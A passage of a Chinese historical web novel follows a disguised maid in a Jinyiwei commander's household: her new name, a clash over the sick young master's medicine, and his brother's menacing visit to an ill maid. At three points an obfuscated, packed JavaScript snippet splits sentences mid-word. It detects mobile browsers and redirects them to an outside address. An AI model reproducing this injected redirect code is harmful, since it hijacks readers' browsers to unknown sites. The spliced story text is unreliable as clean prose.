她飞快地瞟了一眼前面,只见丫鬟方才小心翼翼捧来的莲花状冰盆,此时已经碎作满地瓷片,飞溅的冰块落到青砖上,顷刻融化为一滩滩水渍。 薛槐安摔了盆犹不解气:“好你个吃里扒外的东西,怪不得我刚才找不见你,原来是跑去给老爷子通风报信了!” 丫鬟慌忙叩首:“少爷息怒,奴婢见您晌午回来时脸色不大好,才擅自禀告了老爷……” “薛槐安!”薛懿指名道姓地叫他,显然是动了真怒,“若非冬青来告诉我,我都不知道你有这样的本事!中午刚去城门胡闹一通,如今又要顶着暑气出门,你小子嫌命长了是不是!” 他目光又瞥见了地上的丫鬟:“你自己做错了事,吓唬她有什么用?冬青你快起来,不必怕他。” 得了薛老爷的命令,叫“冬青”的丫鬟站起身来,依旧垂着脑袋,不敢去瞧主子薛槐安的脸色。 “父亲误会我了,我不过是听说府里头新进了一批丫鬟,来挑一个罢了。”薛槐安偏头望向噤若寒蝉的姑娘们,忽然扬起一个笑容,“孙嬷嬷一直看着呢,可以替我作证,对吧?” 被点到名的孙嬷嬷心里暗暗叫苦,她曾与薛槐安打过几次交道,深知二少爷笑得越好看,肚子里憋的坏水就越多,这不就逼着她来蹚浑水了吗? 孙嬷嬷顿时犯了难,二少爷想私自出府不假,相中了一个小丫头也是事实,眼前两尊大佛谁都得罪不起,该如何做才好? “这、这……” 见孙嬷嬷支支吾吾半晌,薛懿心下了然:“鬼话连篇,我还不知道你怀的什么心思?看来之前反省的时间还不够,来人,带二少爷回房,这几日给我好好地看住他,莫让他乱跑!” 排头的两名侍卫来到薛槐安面前,对他拱手行了一礼:“二少爷,请。” 薛槐安气愤地瞪了父亲一眼,甩开侍卫朝他伸来的手,拂袖而去:“别拽我,我自己会走!” 薛懿一行人也跟着薛槐安浩浩荡荡地离去,温闲许终于松了一口气,觉得庭院里的光线都亮堂了不少。 不料薛槐安阴魂不散的声音又响起,活像催命的阎王:“喂,新来的,还不快跟上!” “新来的”指的不会是她吧?温闲许心怦怦直跳,动作稍显犹豫。薛槐安的第二道催命符已经到了:“还愣着做什么,我之前叫你到我院里来,你当是耳边风不成?” 再让他这样嚷下去,非把薛懿招来不可!温闲许咬牙撑起发麻的双腿,踉踉跄跄地加入前行的人群,只期望薛槐安刚才嚎的两嗓子没有引起薛懿的注意。 可薛懿已经回头望过来了,他目光锋利如刀,一寸寸剐过温闲许的身体,仿佛要把她剖开瞧个清楚:“她是谁?” 4. 喜事 “父亲既认定我选丫鬟是幌子,这项证据可还作数?喏,我刚挑的丫鬟,叫……”薛槐安话说到一半,忽然发现女孩还未自报家门,“喂,你叫什么名字?” “奴、奴婢叫……”温闲许被薛懿盯得心里发怵,脑子里如同塞入了一团糨糊,只记得千万不能报出自己的真实姓名。 “好端端地怎么又发起抖来了?叫父亲瞧见,还以为我欺负了你呢。不如我赏你个名儿,叫作‘返真’如何?” 薛槐安面上浮现出一抹嘲弄神色,直勾勾地盯着薛懿:“千金良药何须购,一笑凌云便返真……” “明日把少爷的书房收拾收拾,省得他整天看些乱七八糟的玩意!”薛懿果然被他激怒,视线从温闲许身上移开,“新入府的丫鬟应该由你嫡母分配,你逾矩了。” 薛槐安满不在乎地说道:“不合规矩的事情我干得多了,多一件又如何?再说了,你治下的诏狱,里面几时有过规矩可言?俗话说‘有其父必有其子’,我要守规矩才怪呢!” 温闲许咂舌,放眼天下,敢如此顶撞薛懿的,恐怕唯有薛槐安一人了。 “你、你……孽子,今天非得让你长长教训不可!” 薛槐安一番诡辩把薛懿气得七窍生烟,薛懿手掌挟着风声高高扬起,眼看就要落在薛槐安的脸上。 不想薛槐安的贴身小厮像风一样冲过来,死死抱住薛懿的手臂:“老爷,打不得呀!少爷今天中午才晕了一回,现在哪经得起您这样责打?” 经他一闹,薛懿稍稍清醒过来,望着面前打不得的小祖宗,只好愤愤道:“给我好好闭门思过,想清楚自己错在何处前,不准踏出院门一步!” 庭院内霎时静得落针可闻。薛懿沉默片刻,终是叹了口气,语气稍缓:“一个丫鬟而已,随你高兴便是。不过得换个名字,就叫‘无虞’吧,岁岁无虞,长安常乐。” 兴许是遂了薛槐安的愿,薛槐安难得没有再接话。 温闲许连忙磕头谢道:“无虞谢老爷赐名。” 一场风波就此平息,薛懿自然无暇再理会温闲许这样的小人物。温闲许隐在人群末尾,目光灼灼地望着薛槐安的背影。 他置她于险境,又救她于水火,叫她恨也不是、谢也不是。 而且他们父子之间,似乎并不和睦。 温闲许眸光微动,倏地想通了什么:既然眼下已经困在了薛府中,何不借机从薛槐安身上下手,寻找营救出师父的方法? * 薛懿与他们同行没多久,一个衙役打扮的人匆匆赶来,凑到薛懿耳边说了些什么,薛懿立刻神色凝重地随他去了。 分别前薛懿又把薛槐安数落一顿,特意叮嘱他不许因此事责罚下人,再向负责看管他的两名侍卫交代了几句,才大步流星地离开了。 温闲许虽然好奇薛懿的去向,眼下也只能老老实实地跟在薛槐安的后头,继续往他的院落去。 几人行过一间东西穿堂,来到宽阔的内院中,里面张灯结彩、热闹非凡。富丽堂皇的门前高悬着两盏绛纱宫灯,抄手游廊上也挂满了一串串大红灯笼,仆人们捧着各种各样的吉祥玩意往来穿梭,四处洋溢着喜气洋洋的氛围。 一见到他们几个,仆人们立马作鸟兽散。只有一个站在木梯上扎彩绸的丫鬟来不及躲闪,被薛槐安逮个正着:“府里有喜事,怎么没有人来知会我一声?既非年节,难道老爷子要纳新人了?” 丫鬟小心翼翼地觑着他的脸色,嗫嚅道:“奴婢给二少爷请安,回二少爷,老爷待夫人向来一心一意,岂会纳小妾?是……” 她支支吾吾半天也说不出个所以然来,薛槐安的耐心告罄:“我幼时有个结巴的玩伴,一日遭人打烂了嘴,你猜如何?他结巴的毛病竟然好了。” 他蹲下身与丫鬟对视,不紧不慢地问道:“你要不要也试试?” 丫鬟霎时面如死灰,索性眼一闭、心一横说道:“是大少爷!大少爷通过了锦衣卫的选拔,次月就要去北镇抚司报到了!老爷与夫人准备在府中举办一场宴会庆祝此事,请二少爷明鉴,奴婢只是奉命行事……” 孙嬷嬷曾说过薛府里共住着两位少爷,温闲许回想着她的话,大少爷好像叫薛…… “大少爷,薛阳和?”薛槐安一字一顿念着兄长的名字,好一会才消化了丫鬟吐露的信息。 他不可置信地呢喃道:“他兵器武艺、骑马射箭样样不行……也能当上锦衣卫?” 薛懿的侍卫适时出言打断他:“二少爷请慎言,此时天色已晚,不宜耽搁,二少爷尽早回停云轩休息吧。” 薛槐安冷冷地睨了侍卫一眼,没有理会,转头又问如枯叶一样簌簌发抖的丫鬟:“宴会何时举行?” 丫鬟回答得飞快,生怕薛槐安真的叫人来治她的结巴:“回二少爷,近日酷暑难耐,夫人体恤大家,特意将宴会选在处暑当天了。” 处暑距离今天尚有十几日,薛槐安忽然想到什么,苦笑道:“难怪老爷子要把我关在院中反省,多半是怕我搅了他们的喜事。” 侍卫再度催促道:“二少爷!时候不早了,该……” 不待他话音落下,薛槐安转身利落地离开了。 温闲许望着薛槐安与刚才相同的背影,突然觉得眼前人少了几分年轻气盛,生出一抹落寞来。 不过薛槐安心中如何,关她什么事? 温闲许的注意很快转移到绕不完的回廊上,薛府比温闲许想象中大得多,她记不清拐了多少道弯,过了多少扇门,终于看见了隐匿于竹林中的幽静小院。 青翠的竹枝掩住院墙,典雅的大门朱漆斑驳,待冬青上前把吱呀作响的门推开,一个十米见方的庭院立马映入温闲许眼帘。 与她一路上见到的、装饰得别出心裁的庭院不同,除一张石桌、四个石凳与清扫工具之外,薛槐安的院子里再没有其他物件。 古怪感涌上温闲许的心头,与薛槐安乖张的行径相比,他的居所未免太冷清了些。 侍卫们不再往前,像两尊门神一样站在院门两侧。温闲许与主仆三人一同踏入院内,却见一个端着食案的青年一阵风似的冲到他们面前:“少爷您可算回来啦!药我一直给您温着呢,快趁热喝吧。” 温闲许很快认出此人来,正是中午与薛槐安相伴的另一名小厮。 “我不喝!”薛槐安不耐烦地挥手,像驱赶着一只烦人的苍蝇,差点把食案上的药碗打翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800059|175085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你们几个……”他欲说些什么,又忌惮地看了门外两道身影一眼,犹豫再三,只撂下一句“谁都不许来打搅我”,就兀自往北面一间屋子去了。 拦路的小厮望着被薛槐安好生合上的门扇,啧啧称奇:“少爷今日怎么转了性子,连门也不摔了?” 冬青朝门口努努嘴,把她找来老爷之后的事情与他说了一遍,叹气道:“早知道老爷会再次禁足少爷,我才不去请他……而且少爷还得知了大少爷即将担任锦衣卫百户的事,心情难免烦闷。” “不怨你,是少爷太不爱惜自己的身体了。话说回来,大少爷竟然通过了……”小厮若有所思,目光转向两人身旁站着的温闲许,“这位姑娘是?” “她叫无虞,少爷选她来填补佩兰姑娘的缺的。”刚才与薛槐安一同出门的小厮回答道,捎带给温闲许简明扼要地介绍了停云轩的基本情况。 因薛槐安的病需要静养,停云轩中只配备了四个下人,说话的青年叫作岁昭,端药的青年叫作春杳,两人的名字取自“陈春杳杳、来岁昭昭”,他们十岁时便侍奉薛槐安左右了。 冬青姑娘与失踪的佩兰姑娘刚来轩中不到半年,传言佩兰姑娘在外头结识了一个相好,前几日与他私奔了,才空出温闲许的位置来。 春杳惊奇地对着温闲许左看看、右瞧瞧:“轩中的丫鬟素来由夫人指派,少爷亲自挑选还是破天荒头一回。不过少爷一向不认同夫人的眼光,冬青与佩兰刚来时都被刁难过好一阵。” “我只是一个普通的乡下丫头,疏庸愚钝,实在猜不到少爷选我的缘由……”春杳不加掩饰的探寻目光令温闲许有几分心虚,她佯装镇定地岔开话题,“对了,佩兰姑娘如何与外面的人相识的,难不成我们还可以出府?” 岁昭为她解惑:“只有少爷被老爷禁足时,我们不得踏出院落半步,平日里当然可以随少爷出府游玩。” 春杳也补充道:“到了月末,少爷还会安排大家轮流休息一天,能够上街采买、回家探视。你刚入府,不知道也正常。” 从天而降的好消息把温闲许砸得一愣,轮流休息,岂不是意味着她离开薛府有望了? 她眼睛一亮,忙问道:“果真吗?我们这个月何时休息?” 说完,她才意识到自己的语气过于急切,恐怕会引起在场其余人的怀疑,又添上一句:“我家里人身体不好,想多回去看看。” 两名小厮答道:“具体时间还没有定,要看少爷的心情了。” 冬青直勾勾地盯着温闲许,好像已经看穿了她的心思:“无虞妹妹,你如今来了停云轩,过往种种如同前尘往事,还是少牵挂些为好。夫人最讨厌对薛府怀有二心的人,莫要到头来连累了少爷。” 冬青乌黑的眼睛宛如一泓深不见底的潭水,叫温闲许看得心慌,忙不迭地表忠心道:“姐姐说的不错,少爷既然挑中了我,我也应当全心全意伺候少爷才是。” “好好的,说这些吓唬她做什么。无虞姑娘,往后咱们一起服侍少爷,自然亲如兄弟姐妹一般!”春杳拿胳膊肘杵了冬青一下,看向温闲许的目光真情流露。 “不如……这碗汤药就由你给少爷端过去吧!” 5. 送药 “好……啊?”温闲许稀里糊涂地应了一声,还没等她反应过来,春杳已经把烫手山芋塞到了她手里,好像生怕她反悔似的。 三人对她轮番叮嘱,内容大致如下:万一少爷发脾气了,千万要把汤药保住。府医说少爷的药足足要熬制两个时辰,若是洒了再去讨要,挨上一顿臭骂倒是其次,主要是少爷一个时辰之后就该睡觉了…… 在三人殷切目光的注视下,温闲许迈步走向薛槐安的书房。 推门时,温闲许的迷糊劲终于过去,她好像上了一艘贼船…… 书房的陈设与庭院一样简单,薛槐安坐在屋内唯一一张楠木方桌后,专注地翻阅着手中的书,眼皮也懒得抬一下:“出去,不是说过不准烦我?” 果然落到她头上的准没好事。温闲许撇撇嘴,继续装聋作哑地端着汤药往前走。 薛槐安这回抬头看她了,他两条修长的剑眉拧作一团,眼中已有愠色:“我不喝药!粗野丫头,把我的话当作耳边风吗?” 没想到薛槐安比她年长,背地里却像个小孩一样不肯喝药。 温闲许犯了难,她虽然在神山时常给“药菩萨”徐漪然打下手,但完全没有哄人喝药的经验。阁中的人莫说喝药,连漪然姐姐给他们剐去烂肉时都一声不吭。 唯一因药苦闹过不肯吃药的,还是幼年时候的她。 温闲许绞尽脑汁地回想师父当时如何劝说她的,师父好像说过“不吃药身体怎么好?” 还有“待会吃口蜜饯就不苦了。” 见薛槐安看向她的眼神逐渐变得奇怪,温闲许才发现她已经把这两句话说出来了。 “看来他们还没有告诉你,我的病是治不好的。既然迟早要死,早一天、晚一天又有什么分别?况且府里头哪有人希望我好起来?他们个个都巴不得我早点死!” 他阴鸷的目光像蛇一样紧紧缠绕住温闲许:“你想必也盼着我早日病死吧,等我死了,他们说不定会给你换个温柔的新主子,无须整日虚与委蛇、担惊受怕。” 温闲许连忙道:“哪里的话,我还盼着少爷快快好起来呢!” 睁眼说瞎话是温闲许的专长,何况这也不完全是假话:凭薛槐安这副唯恐天下不乱的架势,若他的身体经得起折腾,不知道要惹出多少风浪。 到时候她在旁边煽风点火几句,说不定薛槐安还会带她直接闯入诏狱呢! 或许是觉得此话不大真诚,温闲许又找补道:“再说了,老爷夫人肯定也希望您……” 没等她说完,薛槐安就冷声打断道:“我的生母已经死了,父亲……你刚才没有看到吗?他巴不得把我整天关在这里,让我安安静静等死。” 原来孙嬷嬷口中的夫人并非薛槐安的亲生母亲。 “算了,我和你说这些作甚……”薛槐安单手扶额,似在懊恼自己的失言,“你该不会相信什么舐犊情深的鬼话吧,你不是也被你爸妈卖给人牙子了吗?” “我没有见过我爸妈。”温闲许思索一下,把“师父”的称呼改成了“舅舅”,“是舅舅把我带大的,他现在有困难,我才……” 师父喝醉的时候偶尔会提到她的妈妈,可见他们两人认识,以“舅舅”相称或许更合适。 可惜当他清醒的时候,温闲许想问他关于妈妈的事情,他的嘴巴却像蚌壳一样怎么也撬不开。 “有什么区别,你舅舅难道不知道薛府里丫鬟频频失踪的传闻吗?他把你卖到这里来,可见养你只是为了钱财,并非出于真心。” 丫鬟频频失踪?难道薛槐安吃丫鬟的传闻是真的? 温闲许脑子还在转,嘴巴却容不得任何人说师父不好:“不对,舅舅若是脱了困,肯定第一时间把我接回去!” 薛槐安只觉得她天真得可笑,心想自己应当是看错了,一个痴痴等着盖世英雄来救自己的傻丫头,怎么可能混入商队的货厢里? “且看他来不来赎你。” 他语气和缓许多,不再理睬温闲许,视线回到翻开的书页上。 温闲许琢磨不透他态度转变的缘由,也不敢直接催他喝药,只好先把食案搁在桌上。 她还惦记着薛槐安刚才说的事情:“您方才说薛府丫鬟频繁失踪的事,是真的吗?” 薛槐安的回复十分敷衍:“只是吓吓你而已,你还当真了?” 见问不出什么,温闲许无聊地呆了一会,又好奇地从薛槐安身后探出脑袋,去瞧他读的什么书。 书页已经泛黄卷边,显然经常被人翻阅。书中的大部分内容都是图画,旁边有许多用蝇头小楷写的批注,足见阅读者之认真。 画的乃一个拿剑摆出各种招式的小人,他的动作奇特,时而似虎扑食、时而似豹撕咬,隐匿于林间时,更是人不知、鬼不觉。 无相刀法的要领是专心致志、人刀合一,画中人却追求诡道,招式千变万化、令人防不胜防。 温闲许从未见过这样的功法,看得入迷,不料捧书的手“唰”地一声将书合上,露出封面上的四个大字——“吞玉剑谱”。 薛槐安抬头望着她,神情不虞:“你看什么?” 这叫她如何回答,总不能说是想偷师学艺吧? 温闲许喉间挤出尴尬的笑声,试图找借口搪塞过去,再次偷瞄到剑谱时,忽然福至心灵:“少爷难道是知道了大少爷要入职锦衣卫的事情,才一个人闷在这里学习剑法?” 她说中了薛槐安心里烦恼的事情,果然成功地岔开了话题。 “人家凭本事得来的职位,与我何干?”薛槐安表面上说得风轻云淡,可温闲许还是听出了一丝咬牙切齿的意味。 薛阳和要当锦衣卫,薛槐安为何不高兴? 结合薛槐安之前嘲讽诏狱里没有规矩的话,他好像也不觉得锦衣卫有多好呀? 温闲许压低声音,试探道:“我听人家说锦衣卫目无法纪、草菅人命,大少爷此去还不知道是福是祸呢!” 温闲许之前一直待在神山上,对锦衣卫的认知全来自于阁中杀手的描述。煎寿阁的目标多为京城权贵,他们行动时经常遭遇锦衣卫阻挠,因此谈论起锦衣卫来都怨气冲天。 他们说,这群宵小之辈只听从狗皇帝的命令,昼伏夜出逮捕良民,接着便是一顿严刑逼供,将人屈打成招,黑森森的诏狱里不知道飘着多少冤魂。 现在师父落到了他们手里,只怕也凶多吉少。 薛槐安没想到温闲许如此大胆,连掉脑袋的话也敢说。 他从椅子上站起来,居高临下审视着温闲许:“你口中‘目无法纪’、‘草菅人命’的锦衣卫首领正是这座府邸的主人,刚才的话若是落到别人耳里,你估计已经一命呜呼了。” 见薛槐安虽然语气严厉,却没有实际责罚她,温闲许知道自己赌对了,薛槐安果然也对锦衣卫没有好感。 既然如此,他的烦恼因何而生? 温闲许没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800060|175085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求薛槐安宽恕自己大不敬的言论,而是继续追问道:“少爷也想加入锦衣卫吗?” “谁说我……”薛槐安下意识地要反驳,但温闲许乌黑发亮的眼睛始终不躲不闪地直视着他,好像已经把他的心思看穿了。 薛槐安犹豫了一会,终于说出了内心的想法:“我不想不如薛阳和。” 温闲许眼珠子一转:“少爷若真入了锦衣卫,传闻里神秘莫测的诏狱,您可有机会得见一二?” “当然可以。”薛槐安又警觉起来,“你问这个干嘛?” “不知道锦衣卫的选拔要考察什么?我略识得些皮毛功夫,说不定能助少爷实现心愿。” 薛槐安看温闲许的眼神如同注视着一个江湖骗子:“花拳绣脚也敢来教我?好大的口气。” 温闲许不与他争论,她两指夹住薛槐安搁在桌上的羊毫笔,身体蓦地转了半圈,手腕顺势向前一送,笔尖上尚未干涸的墨水飞泻而出,两人面前的几案上霎时多出了几个边缘锋利的墨点。 整套动作行云流水、一气呵成,正是温闲许刚从《吞玉剑谱》上学的招式“惊鸿照影”。 因她对薛槐安心存顾忌,没有使用内力,不然此时桌上出现的就不是墨渍,而是一寸深的洞了。 不过她的动作与书中图画有七八成相像,唬住薛槐安应当绰绰有余:“这招惊鸿照影,少爷觉得如何?” “徒有其表而已。”薛槐安夺过她手中的笔,往她右肩一敲,“肩背紧绷,气息凝滞;转圈刻意,失之自然。” 手无缚鸡之力的书呆子,若我使出全力,哪里轮得到你对我指手画脚! 温闲许心里不服气,偏生薛槐安说得还颇有道理,让她无法反驳。 她收了姿势,没好气地问:“你到底学不学?” 薛槐安刚才绕着温闲许观察一周,此时又回到她面前。他突然神情认真道:“你真的肯教我?” “真的!” “如你所见,我不过一个短命的清闲少爷,你为何要帮我?” 温闲许装模作样地答道:“我既已卖身薛府,也不知道舅舅什么时候来赎我,眼下与少爷一荣俱荣、一损俱损,少爷过得好,我的日子才舒坦些不是?” 她话锋一转,眼中狡黠的光芒一闪而过:“少爷若真能入选,可以带我去诏狱开开眼,见识一下‘人间炼狱’是何等光景吗?” 薛槐安思忖半晌,最终拒绝道:“诏狱乃天子亲辖的要地,闲杂人等岂能入内?况且你的武艺稀松平常,我才不和你学。” 没想到薛槐安不仅没有同意她的提议,还把她的看家本领奚落一番! 他知不知道,她只窥得几眼小人画便能有七分神似,已经是天赋异禀? 温闲许气鼓鼓地别过脸:“哼,你自个儿慢慢琢磨吧。” 除了惧怕,薛槐安鲜少见仆从们显露出其他情绪,不禁哑然失笑,冷不丁呛了一口气,顿时咳嗽不止。 忘了他还有病在身。 温闲许终于回想起了自己原本的任务:给薛槐安送药。 经过刚才的事情一打岔,她歇了哄薛槐安喝药的心思,计上心头。 她瞅准少年弯腰咳嗽的间隙,拽着衣领将人拉回椅上,随即舀起一勺汤药,飞快地喂入他口中,末了捏住下巴往上一抬,药汁登时顺喉而下、落到肚里。 她语气和动作一样,凶巴巴的:“凭你现在的身体也想习武?还不快喝药!” 6. 来客 薛槐安猝不及防地遭她灌了一口,苍白的面颊浮现出两抹红润,不知道是气的还是呛的:“咳咳,你……你竟敢如此对我!” 他欲擒住温闲许作乱的双手,不料温闲许灵活地退了半步,让他扑了个空。 “少爷不是说奴婢武艺稀疏平常吗,怎的连我也制不住?”温闲许冷飕飕地说。 薛槐安生平头一回遇见仆人明目张胆地顶撞他,不觉瞪圆了眼睛:“以下犯上的东西,滚出去!” 温闲许拿薛懿临别前的嘱托作挡箭牌:“老爷说过,您今日不准责罚我们,老爷的人还在门外守着呢。” “好……好得很!”薛槐安气急,一连说了几个“好”字,“你给我等着!” 温闲许漫不经心地“哦”了一声,汤匙又沉入药碗里,准备故技重施。 薛槐安连忙制止道:“住手,我自己来!” 一阵鸡飞狗跳之后,薛槐安不情不愿地喝完汤药。他立马将温闲许逐出了书房,神情竟比刚回到轩中时还要恼怒几分。 在院中等候多时的春杳迎了上来,他一眼便瞧见温闲许手中空空如也的瓷碗,顿时愁容满面:“少爷又把药洒了啊。” “什么洒了?”温闲许疑惑道,“少爷已经把药喝完了呀。” 春杳倒吸一口凉气:“你才去了一炷香的时间,少爷竟然把药喝得一滴不剩?上次我好说歹说老半天,少爷只浅浅啜了一小口……” 他看温闲许的眼神已经由惊讶转变为敬佩:“快教教我,你如何说动少爷的?” “我把汤药倒入少爷口中,再将他的下巴向上一抬,少爷便喝下了。” 春杳万万没想到温闲许说的“倒”是字面意思,只当她不愿透露自己的妙招:“既然如此,往后给少爷送药的差事全交给姑娘了!” “没问题。” 温闲许转头望向不远处紧闭的书房门,她倒是无所谓,不知道刚才喝了一整碗汤药的薛槐安同不同意? * 春杳的如意算盘还是落空了,次日一早,薛槐安就宣布禁止温闲许进入他的活动区域,送药的苦差事又落回了春杳头上。 托禁令的福,温闲许近几日的工作内容仅限于洒扫庭院等基础事务,非常清闲。 春杳说,幸亏老爷有令,不准少爷出去作妖,不然有得他们几个忙的。 轩中的日子比温闲许想象中舒适许多,薛槐安成天闷在书房里,基本见不到面,春杳、岁昭两人清晨在庭院里练武,她在旁边还能偷学两招。 除了不能去回春药铺寻组织接头人外,堪称神仙日子。 若师父此时未身陷诏狱,温闲许或能偷得浮生半日闲,可眼下师父还在饱受折磨,她哪有心情打扫这破院子? 庭前落花簌簌如雪,不知道师父在牢房里见到的是如何可怖的场面?温闲许将苕帚一扔,心中焦虑更甚。 “吱呀——”书房门打开了,春杳灰头土脸地走出来,他没精打采地往石凳上一坐,例行朝温闲许抱怨。 “无虞姑娘,你不知道少爷这两天有多难伺候,与其面对他比锅底还黑的脸,我宁愿去梅花桩上扎一个时辰的马步……” 经过几天的朝夕相处,温闲许已经摸清了轩中其他三位仆从的性子。春杳话最密,整日叽叽喳喳个没完,偏生岁昭与冬青都喜静,岁昭懒得搭理他,冬青还要板着脸训他几句。 因时不时要找春杳打探消息,温闲许少不得要应付他,一来二去,竟荣升为春杳最中意的倾诉对象。 温闲许心不在焉地敷衍道:“自打得知大少爷入选锦衣卫的消息,少爷几时高兴过?” 春杳叹息:“少爷何止是讨厌大少爷,他俩根本水火不容……大少爷也不是省油的灯,没上门来找麻烦就该谢天谢地了。” 他酸溜溜地看着温闲许:“哎,要是少爷也不准我去他房间就好了。” 温闲许不厌其烦地传授经验:“少爷病弱,你直接软的不行来硬的……” 春杳悻悻地缩了缩脖子:“我可不敢。” 两人有一搭没一搭地聊,岁昭忽然从房间里出来,他今日穿着一身崭新的玄色劲装,目光扫到像烂泥一样瘫在石凳上的春杳时,不禁出言催促:“你怎么还不换衣服?比试的地点在演武台,再不走恐怕要迟到了。” 春杳一个鲤鱼打挺冲入屋内:“糟了,少爷一大早就大发雷霆,害我连时辰都忘了,你等等我!” 关键时刻他动作干净利落,转眼间便换上了一套与岁昭相同的衣服。 温闲许见两人朝门口去了,眼睛倏地亮起来:“你们要出门吗?我刚把院子打扫干净,可不可以顺带捎上我?在轩里呆了好几日,我都要闷出蘑菇了!” 此等离开停云轩的好机会,她万万不能放过。 春杳连连摆手,还不忘向温闲许发牢骚:“好端端的,老爷突发奇想,非要举办一场府中比武。大老爷们聚在一块有什么好玩的?冬青这几天身体不舒服,你且照看着少爷点。” 许是薛府到北镇抚司的路程太过劳累,请薛懿来管教薛槐安的当天晚上,冬青就生病了。她一连几日都躺在床上养病,没怎么出来过。 “少爷……他才不要我管。”温闲许嘀咕道。 自上次两人在书房不欢而散,之后偶有相见,薛槐安都目不斜视地经过她,把她视作空气。 两个小厮已经跑得不见人影,只有春杳气喘吁吁的声音远远传回来:“等我……等我回来去厨房给你捎点心!” 温闲许幽怨地盯着门口两尊门神,薛懿的爪牙一直雷打不动地守着,甚至将暮鼓晨钟当作换班的信号,教她寻不到半点疏漏。 虎毒尚不食子,薛懿狗贼居然真把自己的儿子当犯人一样关着! 书房门又开了,这回出来的人是薛槐安。他端着一个紫砂壶四下张望,见院中只有温闲许一人,厉声问道:“春杳去哪儿了?茶水没了也不晓得续上!” 春杳说得果然不错,薛槐安一大早就像吃了火药似的。 温闲许懒懒地回答:“他和岁昭参加比武去了。” 斜对面的耳房里传来冬青的闷咳,继而响起被褥翻动的声音,里面的人显然准备下床:“请少爷稍等一会儿,咳咳,茶水马上就来。” “冬青姐姐你歇着吧,我去烧水便是。”温闲许再不待见薛槐安,也不能眼睁睁地让一个病号下地干活,忙夺过薛槐安手中的茶壶去柴房烧水。 其余三个下人两个外出、一个病着,此刻能供薛槐安差遣的便只剩温闲许一个,薛槐安揉了揉眉心,什么话也没说。 温闲许这厢刚把灶台生上火,一道戏谑的男声忽然闯入了轩中。 “堂堂薛家二公子连个端茶递水的人都没有,若传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800061|175085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到旁人耳朵里,为兄的面子该往哪搁呀!” 温闲许好奇地从窗口探出头,只见一个素未谋面的小厮把院门推开,一个身穿绫罗绸缎的胖子缓缓踱入,肥硕身躯几乎把门框塞满了。 他自称薛槐安的兄长,想必此人便是薛阳和。 见到本尊,温闲许登时晓得了薛槐安因他入职锦衣卫而消沉的缘由。 薛大少行动时如一座移动的肉山,堆叠的下颌肉吞没脖颈,藕节状的臂膀隐去关节,两指宽的腰带可怜巴巴地勒在浑圆的肚皮上,好像随时会断裂。 温闲许尝试想象他舞剑的样子,脑海中顿时浮现出一只拿着甘蔗的黑熊精。 黑熊精说:“不是为兄说你,世家子弟就该有世家的样子,主子身边没人伺候成何体统?冬青在哪儿呢?不如我来替你管管……” 如果说薛槐安先前的脸色像灶王爷一样黑,此时便如被雷劈过的灶王爷——黑到不行,他冷冷地说道:“无事不登三宝殿,你想做什么?有事说事,没事滚蛋!” 薛阳和恶劣地大笑,浑身的肉浪欢快地来回打滚:“听闻弟弟方得一日自在,又遭禁足。为兄于心不忍,特来探望,顺道替你给下人立立规矩呀。” 他嘴上说着关心薛槐安,身体却旁若无人地往冬青休息的房间去了,屋内马上传出一声惊呼。 温闲许急忙将装满水的铁锅撂到灶上,匆匆赶至冬青榻前。 但见冬青只着一件素白中衣,青丝散乱地倚在床头,面上虚汗涔涔:“奴婢身体抱恙,不能全礼,还望大少爷见谅。” 薛阳和笑容中多了三份痴意:“好说、好说,都说美人抱病恰如梨花逢雨,今日一见,果真惹人怜惜……” 说话间,薛阳和步步逼近床榻。薛槐安一个箭步挡在他面前,袖中的拳头攥得紧紧的:“薛阳和!冬青尚在病中,不宜探视,你硬闯进来是何居心?” 垂涎已久的美人近在咫尺,薛阳和彻底撕下了兄友弟恭的虚伪面具:“给老子滚开!一只脚踏进棺材的人也敢在我面前逞威风?若非半年前你的狗屁文章在赏花宴上拔得头筹,母亲不得不把冬青赏赐给你,她早该是我的人了!” 他眼中尽是不加掩饰的嫌恶:“如今倒好,冬青姑娘还染上了你的病气,没叫你赔就不错了,还敢拦我?” 他身后的小厮长顺附和:“冬青姑娘要是一开始就分在咱们院里,早就是半个主子了,哪会住这种不入流的地方,生这种不干净的病?” 薛阳和被逗得前俯后仰,故作姿态地摆手道:“哎哟,这话可不兴说,不兴说啊。” 他眼中闪过志在必得的光芒,薛槐安两个能打的奴才已经中了他的调虎离山之计,一时半会回不来。如今整个停云轩里只有两个病秧子和一个看起来老实巴交的丫鬟,岂不是可以任他为所欲为? 他与小厮对视一眼,两人脸上同时浮现出猥琐的笑容。 